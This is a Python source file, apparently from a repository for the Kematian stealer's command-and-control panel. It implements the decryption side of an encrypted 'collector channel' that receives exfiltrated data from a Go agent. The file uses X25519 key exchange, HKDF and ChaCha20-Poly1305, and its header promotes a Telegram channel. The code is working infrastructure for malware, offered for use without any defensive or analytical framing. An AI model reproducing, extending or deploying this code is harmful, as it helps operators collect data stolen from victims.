Files
kematianc2/panel/crypto.py
T

73 lines
2.4 KiB
Python
Raw Normal View History

2026-08-27 11:23:01 -06:00
"""
End-to-end encryption for the collector channel.
Project: https://t.me/electronic_sex
Scheme (interoperable with the Go agent, see native/recovery/exfil/panel.go):
- agent generates an ephemeral X25519 keypair per message
- shared = ECDH(agent_ephemeral_priv, panel_public)
- key = HKDF-SHA256(shared, salt="kematian-e2ee-salt", info="kematian-e2ee-v1", 32)
- ct = ChaCha20-Poly1305(key, nonce=12B random)
- wire = base64( ephemeral_pub(32) || nonce(12) || ct )
The panel private key is the ONLY thing able to decrypt. The agent never
knows it; the panel never sends secrets over the wire.
"""
import base64
import os
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey, X25519PublicKey
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
PRIV_KEY_FILE = os.path.join(os.path.dirname(__file__), "kematian_e2ee.key")
SALT = b"kematian-e2ee-salt"
INFO = b"kematian-e2ee-v1"
KEY_LEN = 32
NONCE_LEN = 12
PUB_LEN = 32
def load_or_create_keypair() -> X25519PrivateKey:
if os.path.exists(PRIV_KEY_FILE):
with open(PRIV_KEY_FILE, "rb") as f:
return X25519PrivateKey.from_private_bytes(f.read())
sk = X25519PrivateKey.generate()
with open(PRIV_KEY_FILE, "wb") as f:
f.write(sk.private_bytes(
serialization.Encoding.Raw,
serialization.PrivateFormat.Raw,
serialization.NoEncryption(),
))
return sk
def public_key_hex() -> str:
return load_or_create_keypair().public_key().public_bytes(
serialization.Encoding.Raw, serialization.PublicFormat.Raw
).hex()
def _derive_key(shared: bytes) -> bytes:
return HKDF(
algorithm=hashes.SHA256(),
length=KEY_LEN,
salt=SALT,
info=INFO,
).derive(shared)
def decrypt_wire(payload_b64: str) -> bytes:
raw = base64.b64decode(payload_b64)
if len(raw) < PUB_LEN + NONCE_LEN + 16:
raise ValueError("payload too short")
ephemeral_pub = raw[:PUB_LEN]
nonce = raw[PUB_LEN:PUB_LEN + NONCE_LEN]
ct = raw[PUB_LEN + NONCE_LEN:]
sk = load_or_create_keypair()
shared = sk.exchange(X25519PublicKey.from_public_bytes(ephemeral_pub))
key = _derive_key(shared)
return ChaCha20Poly1305(key).decrypt(nonce, ct, None)